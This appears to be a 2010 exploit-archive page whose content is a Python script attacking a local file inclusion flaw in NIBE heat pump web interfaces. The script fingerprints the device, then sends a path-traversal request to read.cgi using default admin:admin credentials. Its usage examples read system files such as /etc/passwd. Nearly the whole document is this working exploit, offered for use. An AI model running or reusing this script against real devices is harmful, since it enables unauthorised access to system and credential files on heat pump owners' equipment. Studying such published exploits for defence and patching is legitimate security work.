NIBE heat pump LFI Exploit
Posted on 28 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>NIBE heat pump LFI Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================== NIBE heat pump LFI Exploit ========================== #!/usr/bin/python import socket,sys,os,base64 # NIBE heat pump LFI exploit # # Written by Jelmer de Hen # Published at http://h.ackack.net/?p=302 # # Special thanks to Fredrik Nordberg Almroth and Mathias Karlsson for obtaining this information http://h.ackack.net/?p=274 which made me test the heat pumps and find the exploits. def finger_heatpump(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send("GET / HTTP/1.1 ") header = s.recv(1024) s.close() if header.find("NIBE") !=-1: return 1 else: return 0 def exploit_pump(ip, port, filename, basic_auth): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send("GET /cgi-bin/read.cgi?page=../.."+filename+" HTTP/1.1 Authorization: Basic "+basic_auth+" ") file = "" while s.recv(1024): file = file + s.recv(1024) s.close() return file def instructions(): print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]" print "Written by Jelmer de Hen" print "published at http://h.ackack.net/?p=302" print "Examples:" print sys.argv[0]+" 127.0.0.1 80 /etc/passwd" print sys.argv[0]+" 127.0.0.1 80 /etc/passwd admin p455w0rd" sys.exit(1) def main(): if len(sys.argv)==4 or len(sys.argv)==6: try: ip = sys.argv[1] port = int(sys.argv[2]) filename = sys.argv[3] except: instructions() try: basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5]) except: basic_auth = base64.b64encode("admin:admin") if finger_heatpump(ip, port) == 1: print "[+] Fingerprint scan success" file_contents = exploit_pump(ip, port, filename, basic_auth) if len(file_contents)==0: print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right" else: print "[+] Contents of "+filename+":" print file_contents else: print "[-] Fingerprint scan failed" else: instructions() if __name__ == "__main__": sys.exit(main()) # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-28]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>